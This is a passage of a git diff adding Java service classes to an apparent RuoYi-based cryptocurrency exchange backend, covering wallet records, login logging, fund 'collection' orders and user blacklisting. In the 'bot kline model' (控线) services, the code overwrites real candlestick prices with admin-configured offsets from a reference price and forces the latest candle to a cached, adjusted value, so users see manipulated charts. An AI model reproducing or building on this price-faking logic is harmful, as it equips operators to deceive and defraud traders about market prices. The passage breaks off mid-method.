userDetail.setAuditStatusAdvanced(null); + break; + default: + break; + } + appUserDetailMapper.resetAppUserRealMameStatus(userDetail); + } + } + + @Override + public List getListByPledge(TAppUser tAppUser) { + return tAppUserMapper.getListByPledge(tAppUser); + } + + @Override + public int updateBlackStatus(TAppUser tAppUser) { + StpUtil.logout(tAppUser.getUserId()); + return tAppUserMapper.updateById(tAppUser); + } + + @Override + public int updateTotleAmont(TAppUser appUser) { + return tAppUserMapper.updateTotleAmont(appUser); + } + + public List getUserAddress(long userId) { + List list = redisCache.getCacheObject(CachePrefix.USER_ADDRESS.getPrefix() + userId); + if (CollectionUtils.isEmpty(list)) { + list = tUserSymbolAddressMapper.selectList(new LambdaQueryWrapper().eq(TUserSymbolAddress::getUserId, userId)); + if (!CollectionUtils.isEmpty(list)) { + redisCache.setCacheObject(CachePrefix.USER_ADDRESS.getPrefix() + userId, list); + } + } + return list; + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppWalletRecordServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppWalletRecordServiceImpl.java new file mode 100644 index 0000000..f94969d --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppWalletRecordServiceImpl.java @@ -0,0 +1,213 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; + +import com.ruoyi.bussiness.domain.TAppWalletRecord; +import com.ruoyi.bussiness.domain.vo.AgencyAppUserDataVo; +import com.ruoyi.bussiness.domain.vo.AgencyDataVo; +import com.ruoyi.bussiness.domain.vo.DailyDataVO; +import com.ruoyi.bussiness.domain.vo.UserDataVO; +import com.ruoyi.bussiness.mapper.TAppWalletRecordMapper; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.bussiness.service.ITCollectionOrderService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.util.BotMessageBuildUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + + +/** + * 用户信息Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +@Slf4j +public class TAppWalletRecordServiceImpl extends ServiceImpl implements ITAppWalletRecordService +{ + @Resource + private TAppWalletRecordMapper tAppWalletRecordMapper; + @Resource + private RedisCache redisCache; + @Resource + private ITCollectionOrderService collectionOrderService; + + /** + * 查询用户信息 + * + * @param id 用户信息主键 + * @return 用户信息 + */ + @Override + public TAppWalletRecord selectTAppWalletRecordById(Long id) + { + return tAppWalletRecordMapper.selectTAppWalletRecordById(id); + } + + /** + * 查询用户信息列表 + * + * @param tAppWalletRecord 用户信息 + * @return 用户信息 + */ + @Override + public List selectTAppWalletRecordList(TAppWalletRecord tAppWalletRecord) + { + return tAppWalletRecordMapper.selectTAppWalletRecordList(tAppWalletRecord); + } + + /** + * 新增用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + @Override + public int insertTAppWalletRecord(TAppWalletRecord tAppWalletRecord) + { + tAppWalletRecord.setCreateTime(DateUtils.getNowDate()); + return tAppWalletRecordMapper.insertTAppWalletRecord(tAppWalletRecord); + } + + /** + * 修改用户信息 + * + * @param tAppWalletRecord 用户信息 + * @return 结果 + */ + @Override + public int updateTAppWalletRecord(TAppWalletRecord tAppWalletRecord) + { + tAppWalletRecord.setUpdateTime(DateUtils.getNowDate()); + return tAppWalletRecordMapper.updateTAppWalletRecord(tAppWalletRecord); + } + + /** + * 批量删除用户信息 + * + * @param ids 需要删除的用户信息主键 + * @return 结果 + */ + @Override + public int deleteTAppWalletRecordByIds(Long[] ids) + { + return tAppWalletRecordMapper.deleteTAppWalletRecordByIds(ids); + } + + /** + * 删除用户信息信息 + * + * @param id 用户信息主键 + * @return 结果 + */ + @Override + public int deleteTAppWalletRecordById(Long id) + { + return tAppWalletRecordMapper.deleteTAppWalletRecordById(id); + } + + @Override + public void generateRecord(Long userId, BigDecimal amount, int type, String createBy, String serialId, String remark, BigDecimal before, BigDecimal after, String coin, String adminParentIds) { + TAppWalletRecord record = new TAppWalletRecord(); + BigDecimal price = amount; + record.setSerialId(serialId); + record.setUserId(userId); + record.setAmount(amount); + record.setCreateTime(new Date()); + record.setType(type); + record.setRemark(remark); + record.setCreateBy(createBy); + record.setBeforeAmount(before); + record.setAfterAmount(after); + record.setSymbol(coin); + record.setAdminParentIds(adminParentIds); + record.setOperateTime(new Date()); + try { + if (!coin.equals("usdt")){ + log.debug("帐变记录币种获取汇率: 币种:{}",coin); + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + log.debug("帐变记录获取汇率: 币种:{} 汇率:{}",coin,price); + record.setUAmount(amount.multiply(price)); + }else{ + record.setUAmount(amount); + } + } catch (Exception e) { + e.printStackTrace(); + } + insertTAppWalletRecord(record); + } + + @Override + public List selectUserDataList(TAppWalletRecord tAppWalletRecord) { + List userDataVOS = tAppWalletRecordMapper.selectUserDataList(tAppWalletRecord); + for (UserDataVO userDataVO : userDataVOS) { + BigDecimal decimal = collectionOrderService.selectCollectionAmountByUserId(userDataVO.getUserId()); + userDataVO.setTotalCollectAmount(null == decimal?BigDecimal.ZERO:decimal); + BigDecimal allWithdraw = tAppWalletRecordMapper.getAllWithdrawOfUser(userDataVO.getUserId()); + userDataVO.setTotalWithdrawAmount(allWithdraw); + } + return userDataVOS; + } + + /** + * 代理数据统计 + * + * @param appWalletRecord + * @return + */ + @Override + public List selectAgencyList(TAppWalletRecord appWalletRecord) { + List agencyDataVos = tAppWalletRecordMapper.selectAgencyList(appWalletRecord); + for (AgencyDataVo agencyDataVo : agencyDataVos) { + BigDecimal decimal = collectionOrderService.selectCollectionAmountByAgencyId(agencyDataVo.getAgencyId()); + agencyDataVo.setCollectionAmount(null == decimal?BigDecimal.ZERO:decimal); + } + return agencyDataVos; + } + + @Override + public List dailyData(TAppWalletRecord appWalletRecord) { + List dailyDataVOS = tAppWalletRecordMapper.dailyData(appWalletRecord); + dailyDataVOS.removeAll(Collections.singleton(null)); + for (DailyDataVO dailyDataVO : dailyDataVOS) { + if(null != appWalletRecord.getParams() && null != appWalletRecord.getParams().get("beginTime")){ + String beginTime = (String) appWalletRecord.getParams().get("beginTime"); + String endTime = (String) appWalletRecord.getParams().get("endTime"); + BigDecimal dayCollectionAmount = collectionOrderService.getDayCollectionAmount(beginTime,endTime); + dailyDataVO.setTotalCollectAmount(dayCollectionAmount==null?BigDecimal.ZERO:dayCollectionAmount); + } + } + return dailyDataVOS; + } + + @Override + public List selectAgencyAppUserList(TAppWalletRecord appWalletRecord) { + List agencyAppUserDataVos = tAppWalletRecordMapper.selectAgencyAppUserList(appWalletRecord); + for (AgencyAppUserDataVo agencyAppUserDataVo : agencyAppUserDataVos) { + BigDecimal decimal = collectionOrderService.selectCollectionAmountDetail(agencyAppUserDataVo.getAppUserId(), appWalletRecord.getAdminParentIds()); + agencyAppUserDataVo.setCollectionAmount(null ==decimal?BigDecimal.ZERO:decimal); + } + return agencyAppUserDataVos; + } + + @Override + public Map statisticsAmount() { + Map map = new HashMap<>(); + BigDecimal statisticsAmount = tAppWalletRecordMapper.statisticsAmount(); + map.put("statisticsAmount",statisticsAmount); + return map; + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppuserLoginLogServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppuserLoginLogServiceImpl.java new file mode 100644 index 0000000..4be285b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppuserLoginLogServiceImpl.java @@ -0,0 +1,128 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.util.Date; +import java.util.List; + +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TAppuserLoginLog; +import com.ruoyi.bussiness.mapper.TAppuserLoginLogMapper; +import com.ruoyi.bussiness.service.ITAppuserLoginLogService; +import com.ruoyi.common.utils.ip.IpUtils; +import eu.bitwalker.useragentutils.UserAgent; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + + +/** + * 系统访问记录Service业务层处理 + * + * @author ruoyi + * @date 2023-06-30 + */ +@Service +public class TAppuserLoginLogServiceImpl extends ServiceImpl implements ITAppuserLoginLogService +{ + @Resource + private TAppuserLoginLogMapper tAppuserLoginLogMapper; + + /** + * 查询系统访问记录 + * + * @param id 系统访问记录主键 + * @return 系统访问记录 + */ + @Override + public TAppuserLoginLog selectTAppuserLoginLogById(Long id) + { + return tAppuserLoginLogMapper.selectTAppuserLoginLogById(id); + } + + /** + * 查询系统访问记录列表 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 系统访问记录 + */ + @Override + public List selectTAppuserLoginLogList(TAppuserLoginLog tAppuserLoginLog) + { + return tAppuserLoginLogMapper.selectTAppuserLoginLogList(tAppuserLoginLog); + } + + /** + * 新增系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + @Override + public int insertTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog) + { + return tAppuserLoginLogMapper.insertTAppuserLoginLog(tAppuserLoginLog); + } + + /** + * 修改系统访问记录 + * + * @param tAppuserLoginLog 系统访问记录 + * @return 结果 + */ + @Override + public int updateTAppuserLoginLog(TAppuserLoginLog tAppuserLoginLog) + { + return tAppuserLoginLogMapper.updateTAppuserLoginLog(tAppuserLoginLog); + } + + /** + * 批量删除系统访问记录 + * + * @param ids 需要删除的系统访问记录主键 + * @return 结果 + */ + @Override + public int deleteTAppuserLoginLogByIds(Long[] ids) + { + return tAppuserLoginLogMapper.deleteTAppuserLoginLogByIds(ids); + } + + /** + * 删除系统访问记录信息 + * + * @param id 系统访问记录主键 + * @return 结果 + */ + @Override + public int deleteTAppuserLoginLogById(Long id) + { + return tAppuserLoginLogMapper.deleteTAppuserLoginLogById(id); + } + + @Override + public void insertAppActionLog(TAppUser user, String msg, int status, HttpServletRequest request) { + TAppuserLoginLog log = new TAppuserLoginLog(); + final UserAgent userAgent = UserAgent.parseUserAgentString(request.getHeader("User-Agent")); + // 获取客户端操作系统 + String os = userAgent.getOperatingSystem().getName(); + // 获取客户端浏览器 + String browser = userAgent.getBrowser().getName(); + // 封装对象 + log.setUserId(user.getUserId()); + log.setUsername(user.getAddress()); + String ip = IpUtils.getIpAddr(request); + log.setIpaddr(ip); + try { + log.setLoginLocation(IpUtils.getCityInfo(ip)); + } catch (Exception e) { + e.printStackTrace(); + } + log.setBrowser(browser); + log.setOs(os); + log.setMsg(msg); + log.setStatus(status); + log.setLoginTime(new Date()); + tAppuserLoginLogMapper.insert(log); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelInfoServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelInfoServiceImpl.java new file mode 100644 index 0000000..b0de2aa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelInfoServiceImpl.java @@ -0,0 +1,284 @@ +package com.ruoyi.bussiness.service.impl; + +import cc.block.data.api.domain.market.Kline; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.*; + +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; +import com.ruoyi.bussiness.service.ITBotKlineModelService; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TBotKlineModelInfoMapper; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.bussiness.service.ITBotKlineModelInfoService; +import org.springframework.util.CollectionUtils; + +/** + * 控线详情Service业务层处理 + * + * @author ruoyi + * @date 2023-08-09 + */ +@Service +@Slf4j +public class TBotKlineModelInfoServiceImpl extends ServiceImpl implements ITBotKlineModelInfoService { + @Autowired + private TBotKlineModelInfoMapper tBotKlineModelInfoMapper; + @Autowired + private ITBotKlineModelService botKlineModelService; + @Autowired + RedisCache redisCache; + /** + * 查询控线详情 + * + * @param id 控线详情主键 + * @return 控线详情 + */ + @Override + public TBotKlineModelInfo selectTBotKlineModelInfoById(Long id) { + return tBotKlineModelInfoMapper.selectTBotKlineModelInfoById(id); + } + + /** + * 查询控线详情列表 + * + * @param tBotKlineModelInfo 控线详情 + * @return 控线详情 + */ + @Override + public List selectTBotKlineModelInfoList(TBotKlineModelInfo tBotKlineModelInfo) { + return tBotKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfo); + } + + /** + * 新增控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + @Override + public int insertTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo) { + return tBotKlineModelInfoMapper.insertTBotKlineModelInfo(tBotKlineModelInfo); + } + + /** + * 修改控线详情 + * + * @param tBotKlineModelInfo 控线详情 + * @return 结果 + */ + @Override + public int updateTBotKlineModelInfo(TBotKlineModelInfo tBotKlineModelInfo) { + return tBotKlineModelInfoMapper.updateTBotKlineModelInfo(tBotKlineModelInfo); + } + + /** + * 批量删除控线详情 + * + * @param ids 需要删除的控线详情主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelInfoByIds(Long[] ids) { + return tBotKlineModelInfoMapper.deleteTBotKlineModelInfoByIds(ids); + } + + /** + * 删除控线详情信息 + * + * @param id 控线详情主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelInfoById(Long id) { + return tBotKlineModelInfoMapper.deleteTBotKlineModelInfoById(id); + } + + @Override + public List selectBotLineList(String symbol, List list,String inter) { + if (CollectionUtils.isEmpty(list)) { + return new ArrayList(); + } + Map param = new HashMap<>(); + param.put("symbol", symbol); + param.put("nowTime", System.currentTimeMillis()); + List tBotKlineModelInfos = tBotKlineModelInfoMapper.selectBotLineList(param); + log.info(JSONObject.toJSONString(tBotKlineModelInfos)); + HashMap kmap = new HashMap(); + for (TBotKlineModelInfo kline: tBotKlineModelInfos ) { + kmap.put(kline.getDateTime(),kline); + } + if (CollectionUtils.isEmpty(tBotKlineModelInfos)) { + return list; + } else { + Long startTime = tBotKlineModelInfos.get(0).getDateTime(); + Long endTime = tBotKlineModelInfos.get(tBotKlineModelInfos.size() - 1).getDateTime(); + //最大时间小于历史最小时间 直接返回 + if (endTime <= list.get(0).getTimestamp()) { + return list; + } + boolean confFlag= true; + for (Kline kline : list) { + //判断当前时段, 和开始时间,然后找出 map中所有数据,在拼接。 + //需要几个字段 map(存储控线) 2 当前k线的开始时间结束时间,1分钟不用管 3 参考价格 传到里面后 + if(inter.equals("ONE_MIN")){ + if(startTime<=kline.getTimestamp()&&endTime>=kline.getTimestamp()){ + Double open =0.0; + TBotKlineModelInfo kline1 = kmap.get(kline.getTimestamp()); + if(kline1==null){ + continue; + } + log.info("查询k线"+JSONObject.toJSONString(kline1)); + TBotKlineModelVO botKlineModelVO = botKlineModelService.selectTBotKlineModelById(kline1.getModelId()); + log.info("查询k线"+JSONObject.toJSONString(kline1)); + if(botKlineModelVO!=null){ + open=botKlineModelVO.getConPrice().doubleValue(); + log.info("参考价格:"+open); + } + getKine(kline,kline1,open); + if(confFlag){ + kline.setOpen(open); + confFlag=false; + } + } + }else{ + Long endTime1 = getEndTime(kline.getTimestamp(), inter); + List timeKline = getTimeKline(kline.getTimestamp(), endTime1, kmap); + if(null!=timeKline&&timeKline.size()!=0){ + Collections.sort(timeKline, new Comparator() { + @Override + public int compare(TBotKlineModelInfo o1, TBotKlineModelInfo o2) { + return Long.compare(o1.getDateTime(), o2.getDateTime()); + } + }); + TBotKlineModelInfo kline1 = new TBotKlineModelInfo(); + Double open =0.0; + + if(timeKline.get(0).getDateTime().equals(kline.getTimestamp())){ + kline1.setOpen(timeKline.get(0).getOpen()); + } + if(timeKline.get(timeKline.size()-1).getDateTime().equals(endTime1)){ + kline1.setClose(timeKline.get(timeKline.size()-1).getClose()); + } + TBotKlineModelVO botKlineModelVO = botKlineModelService.selectTBotKlineModelById(timeKline.get(0).getModelId()); + if(botKlineModelVO!=null){ + open=botKlineModelVO.getConPrice().doubleValue(); + log.info("参考价格:"+open); + } + BigDecimal low = getLow(timeKline); + BigDecimal high = getHigh(timeKline); + kline1.setHigh(high); + kline1.setLow(low); + getKine(kline,kline1,open); + if(confFlag){ + kline.setOpen(open); + confFlag=false; + } + + } + } + + } + + Kline kline = list.get(list.size() - 1); + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol.replace("usdt", "").toLowerCase()); + kline.setClose(cacheObject.doubleValue()); + kline.setHigh(cacheObject.doubleValue()); + kline.setLow(cacheObject.doubleValue()); + log.info("最后一个属性:"+JSONObject.toJSONString(kline)); + return list; + } + } + + private List getTimeKline(Long start,Long end, HashMap map){ + List rtn = new ArrayList<>(); + for (Long times: map.keySet()) { + if(times>=start&×<=end){ + rtn.add(map.get(times)); + } + } + return rtn; + } + private Long getEndTime(Long startEnd,String inter){ + //["ONE_MIN","FIVE_MIN","FIFTEEN_MIN","THIRTY_MIN","ONE_HOUR","TWO_HOUR","SIX_HOUR","ONE_DAY","TWO_DAY","SEVEN_DAY"] + if(inter.equals("FIVE_MIN")){ + return startEnd+60000*4; + + }else if(inter.equals("FIFTEEN_MIN")){ + return startEnd+60000*14; + + }else if(inter.equals("THIRTY_MIN")){ + return startEnd+60000*29; + + }else if(inter.equals("ONE_HOUR")){ + return startEnd+60000*59; + + }else if(inter.equals("TWO_HOUR")){ + + return startEnd+60000*59*2; + } + return 0L; + } + + + private BigDecimal getHigh(List amounts){ + BigDecimal amount =BigDecimal.ZERO; + for (TBotKlineModelInfo am: amounts) { + if(amount.compareTo(BigDecimal.ZERO)==0){ + amount = am.getHigh(); + }else if(am.getHigh().compareTo(amount)>0){ + amount = am.getHigh(); + } + } + return amount; + } + private BigDecimal getLow(List amounts){ + BigDecimal amount = BigDecimal.ZERO; + for (TBotKlineModelInfo am: amounts) { + if(amount.compareTo(BigDecimal.ZERO)==0){ + amount = am.getLow(); + }else if(am.getLow().compareTo(amount)<0){ + amount = am.getLow(); + } + } + return amount; + } + private Double getPrice(Double price, Double rate) { + BigDecimal bigDecimal = new BigDecimal(price); + BigDecimal rateBig = new BigDecimal(rate); + BigDecimal result = bigDecimal.add(bigDecimal.multiply(rateBig).divide(new BigDecimal("100"), 6, BigDecimal.ROUND_HALF_UP)); + return result.doubleValue(); + } + + private void getKine(Kline his, TBotKlineModelInfo bot, Double open){ + log.info("时间戳:"+his.getTimestamp()+"查出参考价"+open+"控线"+ JSONObject.toJSONString(bot)); + if(Objects.nonNull(bot)) { + if(bot.getClose()!=null){ + his.setClose(getPrice(open, bot.getClose().doubleValue())); + } + if(bot.getOpen()!=null){ + his.setOpen(getPrice(open, bot.getOpen().doubleValue())); + } + his.setLow(getPrice(open, bot.getLow().doubleValue())); + his.setHigh(getPrice(open, bot.getHigh().doubleValue())); + } + + } +} + + + + + + + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelServiceImpl.java new file mode 100644 index 0000000..c635e2b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelServiceImpl.java @@ -0,0 +1,247 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.core.bean.BeanUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.time.LocalDateTime; +import java.time.temporal.ChronoUnit; +import java.util.Date; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.SymbolPrice; +import com.ruoyi.bussiness.domain.TBotKlineModelInfo; +import com.ruoyi.bussiness.domain.vo.TBotKlineModelVO; +import com.ruoyi.bussiness.mapper.TBotKlineModelInfoMapper; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.support.ManagedMap; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TBotKlineModelMapper; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.service.ITBotKlineModelService; + +/** + * 控线配置Service业务层处理 + * + * @author ruoyi + * @date 2023-08-09 + */ +@Service +public class TBotKlineModelServiceImpl extends ServiceImpl implements ITBotKlineModelService +{ + @Autowired + private TBotKlineModelMapper tBotKlineModelMapper; + @Autowired + private TBotKlineModelInfoMapper botKlineModelInfoMapper; + @Autowired + RedisCache redisCache; + /** + * 查询控线配置 + * + * @param id 控线配置主键 + * @return 控线配置 + */ + @Override + public TBotKlineModelVO selectTBotKlineModelById(Long id) + { + TBotKlineModel tBotKlineModel = tBotKlineModelMapper.selectTBotKlineModelById(id); + TBotKlineModelVO botKlineModelVO = new TBotKlineModelVO(); + BeanUtil.copyProperties(tBotKlineModel,botKlineModelVO); + TBotKlineModelInfo tBotKlineModelInfo = new TBotKlineModelInfo(); + tBotKlineModelInfo.setModelId(id); + List tBotKlineModelInfos = botKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfo); + botKlineModelVO.setBotInfoList(tBotKlineModelInfos); + return botKlineModelVO; + } + + /** + * 查询控线配置列表 + * + * @param tBotKlineModel 控线配置 + * @return 控线配置 + */ + @Override + public List selectTBotKlineModelList(TBotKlineModel tBotKlineModel) + { + return tBotKlineModelMapper.selectTBotKlineModelList(tBotKlineModel); + } + + /** + * 新增控线配置 + * + * @param tBotKlineModel 控线配置 + * @return 结果 + */ + @Override + public int insertTBotKlineModel(TBotKlineModel tBotKlineModel) + { + tBotKlineModel.setCreateTime(DateUtils.getNowDate()); + return tBotKlineModelMapper.insertTBotKlineModel(tBotKlineModel); + } + + @Override + public int insertTBotInfo(TBotKlineModelVO tBotKlineModelVO) { + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + BeanUtil.copyProperties(tBotKlineModelVO,tBotKlineModel); + + if(tBotKlineModelVO.getModel()==0){ + //跟随型 直接更新交易对 和缓存 + String coin = tBotKlineModelVO.getSymbol().replace("usdt", ""); + //存入增加价格。 + LocalDateTime currentDateTime = LocalDateTime.now(); + LocalDateTime lastWholeMinute = currentDateTime.truncatedTo(ChronoUnit.MINUTES); + long timestamp = lastWholeMinute.atZone(java.time.ZoneId.systemDefault()).toInstant().toEpochMilli(); + tBotKlineModel.setBeginTime(new Date(timestamp)); + String cacheObject = redisCache.getCacheObject("con-" + coin); + if(cacheObject==null){ + redisCache.setCacheObject("con-"+coin,tBotKlineModelVO.getConPrice()+","+tBotKlineModel.getBeginTime().getTime()); + }else{ + String[] split = cacheObject.split(","); + redisCache.setCacheObject("con-"+coin,tBotKlineModelVO.getConPrice().add(new BigDecimal(split[0]))+","+split[1]); + } + tBotKlineModelMapper.insertTBotKlineModel(tBotKlineModel); + }else { + tBotKlineModelMapper.insertTBotKlineModel(tBotKlineModel); + List botInfoList = tBotKlineModelVO.getBotInfoList(); + if(botInfoList!=null&&botInfoList.size()>0){ + for (TBotKlineModelInfo tBotKlineModelInfo: botInfoList) { + tBotKlineModelInfo.setModelId(tBotKlineModel.getId()); + } + botKlineModelInfoMapper.insertModelInfo(botInfoList); + } + } + + return 1; + } + + /** + * 修改控线配置 + * + * @param tBotKlineModelVO + * @return 结果 + */ + @Override + public int updateTBotKlineModel(TBotKlineModelVO tBotKlineModelVO) + { TBotKlineModel tBotKlineModel = new TBotKlineModel(); + BeanUtil.copyProperties(tBotKlineModelVO,tBotKlineModel); + tBotKlineModel.setUpdateTime(DateUtils.getNowDate()); + if(tBotKlineModelVO.getModel()==0){ + //跟随型 直接更新交易对 和缓存 + tBotKlineModelVO.setBeginTime(new Date()); + redisCache.setCacheObject("con-"+tBotKlineModelVO.getSymbol().replace("usdt",""),tBotKlineModelVO.getConPrice()+","+tBotKlineModelVO.getBeginTime().getTime()); + } + List botInfoList = tBotKlineModelVO.getBotInfoList(); + if(botInfoList!=null&&botInfoList.size()>0){ + for (TBotKlineModelInfo tBotKlineModelInfo: botInfoList) { + tBotKlineModelInfo.setModelId(tBotKlineModel.getId()); + } + TBotKlineModelInfo tBotKlineModelInfoa = new TBotKlineModelInfo(); + tBotKlineModelInfoa.setModelId(tBotKlineModelVO.getId()); + List tBotKlineModelInfos = botKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfoa); + for (TBotKlineModelInfo a: tBotKlineModelInfos) { + botKlineModelInfoMapper.deleteTBotKlineModelInfoById(a.getId()); + } + botKlineModelInfoMapper.insertModelInfo(botInfoList); + } + + return tBotKlineModelMapper.updateTBotKlineModel(tBotKlineModel); + } + + @Override + public int updateByid(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.updateTBotKlineModel(tBotKlineModel); + } + + /** + * 批量删除控线配置 + * + * @param ids 需要删除的控线配置主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelByIds(Long[] ids) + { + for (Long id: ids ) { + TBotKlineModel tBotKlineModel = tBotKlineModelMapper.selectTBotKlineModelById(id); + if(tBotKlineModel.getModel()==0){ + //跟随型 直接更新交易对 和缓存 + String coin = tBotKlineModel.getSymbol().replace("usdt", ""); + //存入增加价格。 + //跟随型 直接更新交易对 和缓存 + String cacheObject = redisCache.getCacheObject("con-" + coin); + if(cacheObject==null){ + redisCache.deleteObject("con-"+coin); + }else{ + String[] split = cacheObject.split(","); + BigDecimal subtract = new BigDecimal(split[0]).subtract(tBotKlineModel.getConPrice()); + if(subtract.compareTo(BigDecimal.ZERO)!=0){ + redisCache.setCacheObject("con-"+coin,subtract+","+split[1]); + }else { + redisCache.deleteObject("con-"+coin); + } + } + } + } + for ( Long id: ids) { + TBotKlineModelInfo tBotKlineModelInfoa = new TBotKlineModelInfo(); + tBotKlineModelInfoa.setModelId(id); + List tBotKlineModelInfos = botKlineModelInfoMapper.selectTBotKlineModelInfoList(tBotKlineModelInfoa); + if(tBotKlineModelInfos!=null&&tBotKlineModelInfos.size()>0){ + for (TBotKlineModelInfo a: tBotKlineModelInfos) { + botKlineModelInfoMapper.deleteTBotKlineModelInfoById(a.getId()); + } + } + } + + return tBotKlineModelMapper.deleteTBotKlineModelByIds(ids); + } + + /** + * 删除控线配置信息 + * + * @param id 控线配置主键 + * @return 结果 + */ + @Override + public int deleteTBotKlineModelById(Long id) + { + + return tBotKlineModelMapper.deleteTBotKlineModelById(id); + } + + @Override + public List getBotModelListByTime(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelListByTime(tBotKlineModel); + } + + @Override + public List getBotModelPriceByTime(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelPriceByTime(tBotKlineModel); + } + + @Override + public List getBotModelListBeforTime(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelListBeforTime( tBotKlineModel); + } + + @Override + public List getBotModelListBySymbol(TBotKlineModel tBotKlineModel) { + return tBotKlineModelMapper.getBotModelListBySymbol(tBotKlineModel); + } + + @Override + public HashMap getyesterdayPrice() { + List symbolPrices = tBotKlineModelMapper.getyesterdayPrice(); + HashMap c =new HashMap<>(); + for (SymbolPrice symbolPrice:symbolPrices) { + c.put(symbolPrice.getSymbol(),symbolPrice.getPrice()); + } + return c; + } + + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCollectionOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCollectionOrderServiceImpl.java new file mode 100644 index 0000000..5c329ba --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCollectionOrderServiceImpl.java @@ -0,0 +1,120 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.common.utils.DateUtils; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TCollectionOrderMapper; +import com.ruoyi.bussiness.domain.TCollectionOrder; +import com.ruoyi.bussiness.service.ITCollectionOrderService; + +import javax.annotation.Resource; + +/** + * 【请填写功能名称】Service业务层处理 + * + * @author ruoyi + * @date 2023-09-08 + */ +@Service +public class TCollectionOrderServiceImpl extends ServiceImpl implements ITCollectionOrderService +{ + @Resource + private TCollectionOrderMapper tCollectionOrderMapper; + + /** + * 查询【请填写功能名称】 + * + * @param id 【请填写功能名称】主键 + * @return 【请填写功能名称】 + */ + @Override + public TCollectionOrder selectTCollectionOrderById(Long id) + { + return tCollectionOrderMapper.selectTCollectionOrderById(id); + } + + /** + * 查询【请填写功能名称】列表 + * + * @param tCollectionOrder 【请填写功能名称】 + * @return 【请填写功能名称】 + */ + @Override + public List 